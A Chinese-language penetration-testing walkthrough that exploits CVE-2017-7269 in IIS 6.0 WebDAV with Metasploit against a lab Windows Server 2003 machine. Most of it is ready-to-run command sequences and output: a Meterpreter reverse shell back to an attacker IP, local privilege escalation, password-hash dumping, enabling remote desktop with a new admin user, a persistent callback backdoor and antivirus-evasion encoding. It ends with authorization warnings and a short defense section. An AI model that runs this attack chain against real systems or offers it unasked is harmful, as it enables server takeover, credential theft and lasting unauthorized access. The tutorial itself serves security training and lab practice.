1. 项目概述:一次针对老旧系统的精准打击
在渗透测试或安全研究领域,我们常常会遇到一些“古董级”的系统,它们因为各种原因(如业务连续性、升级成本等)仍在线上运行,却早已停止了官方安全更新。微软的IIS 6.0 Web服务器就是一个典型的例子。今天要聊的这个CVE-2017-7269漏洞,就是这类“老古董”身上一个极其危险的“陈年旧伤”。这个漏洞允许攻击者在未授权的情况下,远程在目标IIS 6.0服务器上执行任意代码,后果就是直接拿到服务器的最高控制权。而我们将要使用的工具,则是安全圈内无人不知、无人不晓的“瑞士军刀”——Metasploit Framework。
这篇文章不是纸上谈兵的理论课,而是一次完整的实战复盘。我会带你从零开始,一步步拆解如何利用Metasploit,针对存在CVE-2017-7269漏洞的IIS 6.0服务器发起攻击,并最终获取一个稳定的反向Shell会话。无论你是刚接触渗透测试的新手,想通过一个经典案例来理解漏洞利用的完整链条;还是有一定经验的安全从业者,希望深化对Metasploit模块使用和后期利用的理解,这篇内容都能提供直接的参考。整个过程涉及环境搭建、漏洞原理浅析、模块配置、利用执行以及权限维持等多个环节,我会把每个步骤背后的“为什么”和实际操作中容易踩的“坑”都讲清楚。
2. 环境准备与漏洞靶场搭建
实战的第一步永远是准备好你的“武器库”和“训练场”。一个隔离、可控的测试环境是安全研究的基石,绝不能在未经授权的真实系统上进行测试。
2.1 攻击机环境配置
我们的攻击机将使用渗透测试领域最流行的发行版之一——Kali Linux。它预装了海量的安全工具,包括我们需要的Metasploit Framework。
1. 更新与基础检查首先,确保你的Kali系统是最新的,这能避免很多因工具版本过旧导致的奇怪问题。
sudo apt update && sudo apt upgrade -y更新完成后,检查Metasploit的版本。虽然Kali预装了它,但我们最好确认一下。
msfconsole --version正常情况下,你会看到类似Metasploit v6.3.2-dev的输出。如果因为某些原因(比如你遇到了“metasploit安装后文件夹是空的”这种问题),说明安装可能不完整。最彻底的解决方法是重新安装:
sudo apt remove metasploit-framework sudo apt autoremove sudo apt install metasploit-framework安装后,首次运行msfconsole会进行数据库初始化,稍等片刻即可。
2. 网络环境确认确保你的攻击机(Kali)和目标靶机(存在漏洞的IIS 6.0)在同一个网络内,能够互相ping通。在虚拟化环境(如VMware或VirtualBox)中,最简单的方式是将两台虚拟机的网络适配器都设置为“NAT模式”或“仅主机模式”。这里我推荐使用“仅主机模式”,它能创建一个完全封闭的虚拟网络,与宿主机和其他网络隔离,最适合做渗透实验。
注意:在虚拟机网络设置中,务必确认“仅主机模式”的虚拟网卡在攻击机和靶机上是同一个(例如,都是VMnet1)。你可以在VMware的“编辑”->“虚拟网络编辑器”中查看和配置。
2.2 漏洞靶机环境搭建
为了安全地复现这个漏洞,我们需要一台安装了Windows Server 2003 R2并启用IIS 6.0的虚拟机作为靶机。Windows Server 2003是一个早已停止支持的系统,强烈建议只在隔离的虚拟化环境中使用。
1. 系统安装与基础配置
- 系统镜像:你需要准备Windows Server 2003 R2的ISO镜像文件。
- 安装过程:新建虚拟机,加载ISO,进行安装。在安装类型选择时,记得选择“自定义安装”,并在分区后,将磁盘格式化为NTFS格式。在“Windows组件”安装步骤中,勾选“应用程序服务器”,然后点击“详细信息”,确保“Internet信息服务(IIS)”被选中。继续点击IIS的“详细信息”,为了触发漏洞,我们需要启用“WebDAV”发布功能,所以请勾选“万维网服务”->“详细信息”->“WebDAV”。完成安装后,系统会要求你设置管理员密码,请务必设置一个你记得住的强密码。
2. IIS 6.0与WebDAV配置安装完成后,进入系统。点击“开始”->“管理工具”->“Internet信息服务(IIS)管理器”。
- 在左侧展开服务器名和“网站”,右键点击“默认网站”,选择“属性”。
- 切换到“HTTP头”选项卡,你可以看到“启用内容过期”等选项,暂时无需修改。
- 更关键的是确保WebDAV已启用。在“默认网站属性”中,切换到“主目录”选项卡,你应该能看到“脚本资源访问”、“读取”、“写入”等权限。WebDAV依赖“写入”权限,但为了安全,实验环境可以不开,因为漏洞触发不严格依赖它。
- 实际上,漏洞存在于处理
PROPFIND请求的sc模块中,只要IIS 6.0安装了WebDAV组件,即使没在Web界面显式开启“写入”,漏洞也可能存在。我们安装时勾选即表示组件已存在。
3. 最终确认打开浏览器,在靶机本机访问http://127.0.0.1,应该能看到IIS 6.0的默认欢迎页面。同时,确保靶机的防火墙关闭(或在入站规则中允许80端口),以便攻击机能够访问。
3. 漏洞原理与Metasploit模块解析
在扣动扳机之前,理解子弹是如何飞行的,至关重要。这能帮助你在利用失败时进行有效排查,而不是盲目尝试。
3.1 CVE-2017-7269漏洞浅析
这个漏洞的根源在于IIS 6.0的WebDAV服务。WebDAV是一种基于HTTP协议的文件管理扩展,允许用户像操作本地文件夹一样远程管理Web服务器上的文件。IIS 6.0通过一个名为sc的动态链接库来处理WebDAV请求。
漏洞的核心是一个缓冲区溢出。具体来说,当攻击者向开启了WebDAV的IIS 6.0服务器发送一个精心构造的、超长的PROPFIND请求时,sc模块在解码请求头中的If字段时,没有进行有效的边界检查,导致数据写入了分配好的内存缓冲区之外,覆盖了相邻的关键数据(如函数返回地址)。
你可以把这个过程想象成一个仓库管理员(sc模块)收到一张超长的货物清单(PROPFIND请求)。清单上要求把货物堆放到仓库的A区。但管理员不检查清单的长度,机械地照单全收,结果货物不仅堆满了A区,还溢出去压坏了隔壁B区控制仓库大门的电路图(返回地址)。当管理员按照流程结束工作,准备离开仓库(函数返回)时,他会去查看“电路图”来决定从哪个门走。但现在“电路图”被覆盖成了攻击者预设的地址,于是管理员就走进了攻击者事先布置好的、充满陷阱的另一个房间(攻击者注入的恶意代码区域),并执行了那里的指令。
在CVE-2017-7269的利用中,攻击者通过溢出覆盖返回地址,将其指向内存中特定位置的指令(例如jmp esp),从而劫持程序执行流程,跳转到攻击者放置在HTTP请求中的Shellcode(一段用于执行命令的机器代码)上,最终实现任意代码执行。
3.2 Metasploit模块深度拆解
Metasploit的强大之处在于它将复杂的漏洞利用过程模块化、武器化。对于CVE-2017-7269,其利用模块位于exploit/windows/iis/iis_webdav_scstoragepathfromurl。
1. 模块结构我们可以通过info命令来查看这个模块的详细信息:
msf6 > use exploit/windows/iis/iis_webdav_scstoragepathfromurl msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > info你会看到如下关键信息:
- Name: 模块名称,清晰说明了其作用。
- Module: 模块路径,反映了其在Metasploit库中的分类。
- Platform:
Windows,指明了目标平台。 - Arch:
x86,因为IIS 6.0是32位应用程序,即使在64位系统上,其工作进程也运行在32位兼容模式下,所以我们的Payload也必须使用x86架构。 - Targets: 列出了该模块支持的不同目标系统(如Windows 2003 SP0/SP1/SP2等)。不同系统版本的内存地址可能略有不同,模块内置了针对多个版本的精确偏移量。
- Payload information: 显示了兼容的Payload空间大小。这里显示
Space: 2048,意味着我们注入的Shellcode长度不能超过2048字节,这对于一个反向Shell来说是绰绰有余的。
2. 关键选项解析运行show options,我们可以看到需要配置的参数:
- RHOSTS: 这是最重要的参数,填写目标IIS服务器的IP地址。
- RPORT: 目标服务的端口,默认是80。
- TARGETURI: 漏洞触发的路径,默认为
/,即网站根目录。如果目标网站将WebDAV发布到了特定目录(如/webdav),则需要修改此项。 - TARGET: 目标系统类型。模块通常会自动检测,但在自动检测失败或为了更稳定利用时,我们可以手动指定(例如
0代表Windows 2003 SP2)。
3. Payload的选择与考量show payloads可以列出所有兼容的Payload。对于这种场景,我们通常选择:
windows/meterpreter/reverse_tcp: 这是最经典、功能最强大的选择。Meterpreter是一个高级的、动态可扩展的Payload,它运行在内存中,不接触磁盘,提供了文件系统操作、权限提升、信息搜集、跳板等大量后期利用功能。windows/shell/reverse_tcp: 这是一个更轻量级的反向Shell,只提供一个标准的Windows命令提示符。它更稳定,在某些严格的网络环境下可能比Meterpreter更容易建立连接,但功能单一。
实操心得:在内部测试或可控环境中,优先使用
meterpreter/reverse_tcp,因为它能极大简化后续的渗透工作。如果遇到连接不稳定或被杀毒软件拦截的情况,可以尝试换用shell/reverse_tcp,或者对Meterpreter进行编码、加密等免杀处理。
4. 实战利用:步步为营获取Shell
环境就绪,原理明晰,现在让我们进入实战环节。请确保你的攻击机(Kali)和靶机(Win2003)网络互通。
4.1 启动Metasploit与模块配置
首先,在Kali终端中启动Metasploit控制台:
msfconsole启动后,你会看到Metasploit的标志性横幅。接下来,按顺序执行以下命令:
# 1. 加载漏洞利用模块 use exploit/windows/iis/iis_webdav_scstoragepathfromurl # 2. 查看需要设置的参数 show options # 3. 设置目标地址。假设靶机IP为 192.168.1.105 set RHOSTS 192.168.1.105 # 4. 设置Payload。我们选择功能强大的Meterpreter反向TCP。 set PAYLOAD windows/meterpreter/reverse_tcp # 5. 设置监听器地址(即攻击机Kali的IP)。假设Kali的IP为 192.168.1.104 set LHOST 192.168.1.104 # 6. 再次检查所有配置 show options此时,你的配置界面应该类似下图,确保RHOSTS,LHOST,PAYLOAD都已正确设置。LPORT(监听端口)默认为4444,如无冲突可不修改。
4.2 执行攻击与会话建立
配置无误后,就是最激动人心的执行时刻。输入命令:
exploit或者它的别名run。
此时,Metasploit会开始执行以下工作:
- 发送探测请求:可能会先发送一个正常的请求,以确认目标存活和服务响应。
- 构建恶意请求:根据我们设置的
TARGET(或自动检测结果),模块会选取对应的内存偏移地址,将jmp esp等跳转指令的地址、以及我们选择的windows/meterpreter/reverse_tcp这个Payload的Shellcode,精心拼接成一个超长的、畸形的PROPFINDHTTP请求。 - 发送攻击载荷:将这个恶意请求发送到目标服务器的
RHOSTS:RPORT。 - 开启本地监听:同时,在攻击机的
LHOST:LPORT(如192.168.1.104:4444)上启动一个监听器,等待靶机反弹连接。
如果一切顺利,你将在几秒内看到类似下面的输出:
[*] Started reverse TCP handler on 192.168.1.104:4444 [*] 192.168.1.105:80 - Target is Windows 2003 R2 SP2... [*] 192.168.1.105:80 - Sending exploit... [*] Sending stage (175686 bytes) to 192.168.1.105 [*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.105:1032) at 2023-10-27 10:00:00 +0800 meterpreter >看到meterpreter >提示符,恭喜你,你已经成功通过漏洞在目标IIS服务器上执行了代码,并建立了一个反向的Meterpreter会话!这意味着你已经在目标系统上获得了初步的执行权限。
4.3 初期信息搜集与会话交互
拿到Shell的第一时间,不要急于做破坏性操作,先进行信息搜集,了解你所在的环境。
meterpreter > sysinfo这个命令会列出目标计算机的基本信息,如系统名称、架构、语言等。确认是否是我们的目标靶机(Windows 2003)。
meterpreter > getuid这个命令显示当前Meterpreter会话运行在哪个用户权限下。对于IIS 6.0,默认的应用程序池身份通常是NT AUTHORITY\NETWORK SERVICE,这是一个权限相对较低的服务账户。
注意事项:
NETWORK SERVICE账户权限有限,很多操作(如写入系统目录、安装服务、转储哈希)会受到限制。因此,我们后续往往需要进行权限提升。
你可以尝试一些基本的命令,感受一下Meterpreter的威力:
meterpreter > pwd # 查看当前工作目录(通常是IIS的根目录,如c:\inetpub\wwwroot) meterpreter > ls # 列出当前目录文件 meterpreter > shell # 切换到系统命令行(cmd.exe)。按Ctrl+Z可以退出shell回到meterpreter。输入shell后,你就进入了一个标准的Windows命令提示符,可以执行dir,whoami,ipconfig等命令。
5. 权限提升与后渗透操作
获取初始立足点(Foothold)只是开始。以NETWORK SERVICE权限运行,我们能做的事情有限。下一步的目标是获取最高权限(NT AUTHORITY\SYSTEM)。
5.1 自动化提权尝试
Metasploit的Meterpreter提供了强大的后渗透模块。最常用的提权方法是使用getsystem命令。它内部尝试了多种技术(如令牌复制、命名管道模拟等)来提升权限。
meterpreter > getsystem如果成功,你会看到...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).这样的提示。再次运行getuid,用户应该变成了NT AUTHORITY\SYSTEM。
然而,在老旧系统如Windows Server 2003上,getsystem有时会失败。我们需要手动尝试其他方法。
5.2 手动查找本地提权漏洞
当自动化方法失效时,我们需要手动搜集系统信息,寻找已知的本地提权漏洞。Meterpreter的post/multi/recon/local_exploit_suggester模块可以帮我们大忙。
首先,在Meterpreter会话中,使用background命令将当前会话放到后台(会话不会中断)。
meterpreter > background [*] Backgrounding session 1...然后,在msfconsole中加载提权建议模块,并设置会话ID。
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use post/multi/recon/local_exploit_suggester msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1 msf6 post(multi/recon/local_exploit_suggester) > run模块会运行一系列检查,分析系统补丁、版本、配置等信息,然后输出一个可能适用的本地提权漏洞利用列表。列表会按可靠性排序。
例如,它可能会建议你尝试exploit/windows/local/ms14_058_track_popup_menu或exploit/windows/local/ms16_016_webdav等。对于Windows Server 2003,一些经典的提权漏洞如MS08-025、MS09-012(Churrasco)、MS10-059(Chimichurri)成功率较高。
选择一个建议的模块进行尝试:
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_059_chimichurri msf6 exploit(windows/local/ms10_059_chimichurri) > set SESSION 1 msf6 exploit(windows/local/ms10_059_chimichurri) > set LHOST 192.168.1.104 msf6 exploit(windows/local/ms10_059_chimichurri) > set LPORT 4445 # 避免端口冲突,换一个监听端口 msf6 exploit(windows/local/ms10_059_chimichurri) > run如果提权成功,你会获得一个新的、具有SYSTEM权限的Meterpreter会话。使用sessions -l查看所有会话,并用sessions -i [新会话ID]进行交互。
5.3 关键操作与权限维持
获得SYSTEM权限后,你可以进行更深度的操作:
1. 哈希转储与密码破解使用hashdump命令可以导出本地SAM数据库中的用户密码哈希(LM/NTLM)。
meterpreter > hashdump导出的哈希可以保存下来,使用像John the Ripper或Hashcat这样的工具进行离线破解,特别是如果管理员密码强度不高的话。即使无法破解,这些哈希也可以用于“哈希传递”攻击,在内网横向移动中直接使用。
2. 启用远程桌面为了方便后续管理,可以尝试启用目标的远程桌面服务(如果之前未启用)。
meterpreter > run getgui -e这个命令会尝试启用RDP、添加防火墙例外,甚至创建一个新的管理员用户。成功后,你就可以用远程桌面客户端(如mstsc)连接目标服务器了。
3. 创建持久化后门为了在系统重启或会话意外断开后仍能保持访问,需要安装持久化后门。
meterpreter > run persistence -h查看帮助后,一个常见的用法是:
meterpreter > run persistence -U -i 30 -p 443 -r 192.168.1.104-U: 用户登录时启动。-i 30: 每隔30秒尝试连接一次。-p 443: 连接回连的端口(使用443等常见端口可能绕过防火墙)。-r 192.168.1.104: 你的攻击机IP。
此命令会在目标机器上创建一个注册表项或计划任务,使其定期连接你的监听器,重新建立Meterpreter会话。
重要警告:以上所有后渗透操作,仅限在你自己完全控制的实验环境中进行。在真实的渗透测试中,每一项操作都必须获得明确的书面授权,并严格遵守测试范围。
6. 常见问题、排查与防御建议
实战中很少有一帆风顺的情况。下面总结一些常见问题及其排查思路。
6.1 利用失败常见原因排查
| 问题现象 | 可能原因 | 排查步骤 |
|---|---|---|
[*] Started reverse TCP handler...之后无下文,或提示[-] Exploit failed: ... | 1. 目标不存在漏洞(已打补丁)。 2. 网络不通或防火墙拦截。 3. 目标IIS未启用WebDAV。 4. TARGET选择错误。 | 1. 在靶机用telnet [靶机IP] 80测试端口连通性。2. 在靶机浏览器访问 http://localhost确认IIS运行。3. 使用 nmap扫描:nmap -sV -p 80 --script http-webdav-scan [靶机IP],检查WebDAV状态。4. 尝试手动设置 TARGET为不同值(0,1,2)。5. 在msf中启用 set VERBOSE true查看更详细输出。 |
收到Meterpreter session X opened但立即断开 | 1. Payload不稳定或与目标环境冲突。 2. 杀毒软件或主机防火墙拦截了反向连接或Meterpreter进程。 | 1. 尝试更换Payload为windows/shell/reverse_tcp(更稳定)。2. 尝试对Payload使用编码器(如 shikata_ga_nai)进行简单免杀:set ENCODER x86/shikata_ga_nai。3. 检查攻击机防火墙是否允许入站连接。 |
getsystem提权失败 | 1. 当前漏洞利用或系统配置限制了提权技术。 2. 系统已安装相关安全补丁。 | 1. 使用local_exploit_suggester模块寻找其他提权路径。2. 手动尝试已知的、适用于Win2003的提权EXP,如 MS10-059。 |
| 能执行命令但无法写入文件 | 当前用户(如NETWORK SERVICE)对目标目录没有写权限。 | 1. 使用meterpreter > search -f *.txt -d C:\等命令寻找可写目录。2. 尝试提权到SYSTEM。 3. 利用IIS的目录权限,通常 C:\inetpub\wwwroot或其子目录有写权限。 |
6.2 从防御视角看CVE-2017-7269
作为安全人员,了解攻击是为了更好的防御。针对此类漏洞,防御措施是清晰且直接的:
- 立即升级或替换:对于IIS 6.0这类早已停止支持(EOL)的软件,最根本、最有效的措施就是升级到受支持的版本(如IIS 10.0)。如果因故无法升级,应考虑使用反向代理、WAF等方案将老旧系统隔离保护。
- 安装官方补丁:微软早已为受支持的系统发布了修复此漏洞的安全更新。对于仍在维护期内的系统,必须及时安装所有安全补丁。对于Windows Server 2003,官方已不提供支持,这凸显了升级的必要性。
- 禁用非必要组件:如果WebDAV功能不是业务必需的,应在IIS管理器中彻底禁用或卸载该组件。最小化攻击面是安全的基本原则。
- 部署网络防护:在企业边界或服务器前端部署Web应用防火墙,可以识别并拦截利用此类缓冲区溢出漏洞的畸形HTTP请求。
- 实施网络分段与严格访问控制:将运行老旧系统的服务器置于独立的网络区域,严格限制内外网对其的访问,即使被攻破,也能限制攻击者的横向移动能力。
这次针对CVE-2017-7269的实战,不仅是一次漏洞利用技术的演练,更是一次深刻的安全意识教育。它清晰地展示了“永恒之蓝”般的道理:一个未修补的高危漏洞,搭配公开的利用工具,就能让一台服务器门户洞开。在攻与防的永恒博弈中,对攻击链的熟悉程度,决定了你构建的防线是否真正有效。在实验环境中反复练习这些过程,目的正是为了在真实世界里,能更早地发现并堵上这些漏洞。